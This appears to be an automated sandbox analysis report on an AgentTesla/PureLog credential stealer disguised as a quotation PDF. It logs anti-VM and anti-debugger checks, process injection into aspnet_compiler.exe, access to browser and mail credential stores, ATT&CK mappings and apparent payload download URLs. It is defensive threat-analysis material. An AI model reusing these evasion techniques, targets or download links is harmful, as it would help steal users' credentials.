Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595487	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 594780	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 594663	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1800000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799657	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799407	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798357	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797325	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796981	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796657	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796407	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796282	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795809	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794204	Jump to behavior

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.000000000304D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware\V
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: explorer9SbieDll.dll:select * from Win32_BIOS8Unexpected WMI query failure;version<SerialNumber>VMware\|VIRTUAL\|A M I\|Xen?select * from Win32_ComputerSystem@manufacturerAmodelBMicrosoft\|VMWare\|VirtualCjohnDannaExxxxxxxx
Source: aspnet_compiler.exe, 00000004.00000002.2893835187.0000000001483000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll{
Source: aspnet_compiler.exe, 00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.000000000304D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareLR^q
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.000000000304D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 2VlzbluUgkSZnLn D6Fmwmt@\^q0Microsoft\|VMWare\|V<
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2221759738.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll2
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.000000000304D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen@\^q
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.000000000304D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWareLR^qD>
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.000000000304D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen(_^q
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen%
Source: aspnet_compiler.exe, 00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBox
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.000000000304D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:Microsoft\|VMWare\|Virtual
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.000000000304D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.000000000304D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 5VCVK H13T62W85P@\^q0VMware\|VIRTUAL\|A M<2;

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Code function: 0_2_07485470 CheckRemoteDebuggerPresent,

0_2_07485470

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: E7C008	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Queries volume information: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.2d48e7c.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION_APRQTRA031244#U00faPDF.scr.exe PID: 5356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 7700, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.42c9610.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3cc95d0.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.42c9610.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.9090000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.9090000.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3cc95d0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2246378336.0000000009090000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2226154366.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.2d48e7c.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2896066000.0000000003075000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION_APRQTRA031244#U00faPDF.scr.exe PID: 5356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 7700, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.2d48e7c.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION_APRQTRA031244#U00faPDF.scr.exe PID: 5356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 7700, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.42c9610.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3cc95d0.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.42c9610.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.9090000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.9090000.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3cc95d0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2246378336.0000000009090000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2226154366.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	211 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	34 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	431 Security Software Discovery	Distributed Component Object Model	21 Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	161 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	161 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
QUOTATION_APRQTRA031244#U00faPDF.scr.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.PureLogStealer
QUOTATION_APRQTRA031244#U00faPDF.scr.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://ocsp.thawte.com0	0%	URL Reputation	safe
https://s22.filetransfer.io/storage/download/fNtpaSFzWEzZ	0%	Avira URL Cloud	safe
http://filetransfer.io/data-package/aPtWC5T9/download	0%	Avira URL Cloud	safe
https://s22.filetransfer.io	0%	Avira URL Cloud	safe
https://filetransfer.io/data-package/aPtWC5T9/download	0%	Avira URL Cloud	safe
https://filetransfer.io	0%	Avira URL Cloud	safe
http://filetransfer.io	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
filetransfer.io	104.21.13.139	true	false	unknown
ip-api.com	208.95.112.1	true	false	high
s22.filetransfer.io	104.21.13.139	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://s22.filetransfer.io/storage/download/fNtpaSFzWEzZ	false	Avira URL Cloud: safe	unknown
http://filetransfer.io/data-package/aPtWC5T9/download	false	Avira URL Cloud: safe	unknown
https://filetransfer.io/data-package/aPtWC5T9/download	false	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mgravell/protobuf-neti	QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	false		high
